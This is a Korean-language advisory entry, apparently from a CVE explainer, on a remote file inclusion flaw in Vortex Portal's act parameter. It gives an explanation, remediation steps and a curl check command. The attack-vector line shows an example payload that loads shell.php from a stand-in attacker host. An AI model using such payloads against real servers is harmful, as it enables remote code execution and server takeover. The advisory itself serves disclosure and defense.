🇰🇷 한글 설명
Vortex Portal의 content.php와 index.php에서 원격 파일 포함(RFI) 취약점으로, act 파라미터를 통해 악의적인 PHP 코드를 실행할 수 있습니다. 공격자는 외부 서버의 악성 PHP 파일을 포함시켜 서버에서 임의의 명령어를 실행할 수 있습니다.
💡 쉬운 설명
Vortex Portal이라는 웹 프로그램의 특정 페이지에서 외부 파일을 안전하지 않게 불러오는 문제입니다. 공격자가 이를 악용하면 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file include vulnerability in (1) content.php and (2) index.php for Vortex Portal allows remote attackers to execute arbitrary PHP code via a URL in the act parameter.
📍 영향받는 시스템
Vortex Portal (정확한 버전 미명시, 2005년 이전의 모든 버전으로 추정)
⚔️ 공격 벡터
HTTP 요청의 act 파라미터에 원격 파일 URL 삽입 (예: ?act=http://attacker.com/shell.php)
🛡️ 대응 방법
Vortex Portal을 최신 버전으로 업그레이드하거나, act 파라미터 입력값 검증 및 필터링 구현, 원격 파일 포함 기능 비활성화
🔧 검증 코드
원격 파일이 포함되어 실행되면 해당 파일의 내용이 응답에 포함됩니다. 정상 동작은 에러 메시지가 나타나거나 파일이 포함되지 않습니다.
curl -s 'http://target/content.php?act=http://example.com/test' | head -20